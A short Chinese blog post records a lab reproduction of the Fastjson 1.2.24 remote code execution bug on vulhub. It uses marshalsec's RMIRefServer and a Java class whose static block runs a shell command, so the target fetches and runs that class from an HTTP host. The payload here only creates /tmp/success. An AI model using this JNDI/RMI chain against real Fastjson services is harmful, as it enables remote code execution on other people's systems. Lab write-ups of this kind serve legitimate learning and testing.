• 首页
  • 归档
  • 标签
  • 站点
  • 项目
  • 搜索
  • 关于

上一篇 下一篇 返回顶部 分享文章

  1. 1. 玩玩这个漏洞
  2. 2. 借助项目
    1. 2.1. 获取Jar
    2. 2.2. 编译成功
    3. 2.3. Demo.class
    4. 2.4. 运行rmi程序
    5. 2.5. 一定要注意版本问题

Leon
2024-11-13 (Updated: 2024-11-13)

https://vulhub.org/#/environments/fastjson/1.2.24-rce/

玩玩这个漏洞

alt text

借助项目

https://github.com/mbechler/marshalsec.git

alt text

获取Jar

alt text

编译成功

alt text

Demo.class

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class Demo {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

运行rmi程序

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.31.241:1234/#Demo" 9999

alt text

alt text

alt text

一定要注意版本问题

java 版本和 javac 版本一定要一致,不然会出现问题

alt text

应该使用第二个javac

  • 首页
  • 归档
  • 标签
  • 站点
  • 项目
  • 搜索
  • 关于
  1. 1. 玩玩这个漏洞
  2. 2. 借助项目
    1. 2.1. 获取Jar
    2. 2.2. 编译成功
    3. 2.3. Demo.class
    4. 2.4. 运行rmi程序
    5. 2.5. 一定要注意版本问题
菜单 目录 分享 返回顶部
Copyright © 2016-2024 Leon
  • 首页
  • 归档
  • 标签
  • 站点
  • 项目
  • 搜索
  • 关于
总访问量次 | 访客数人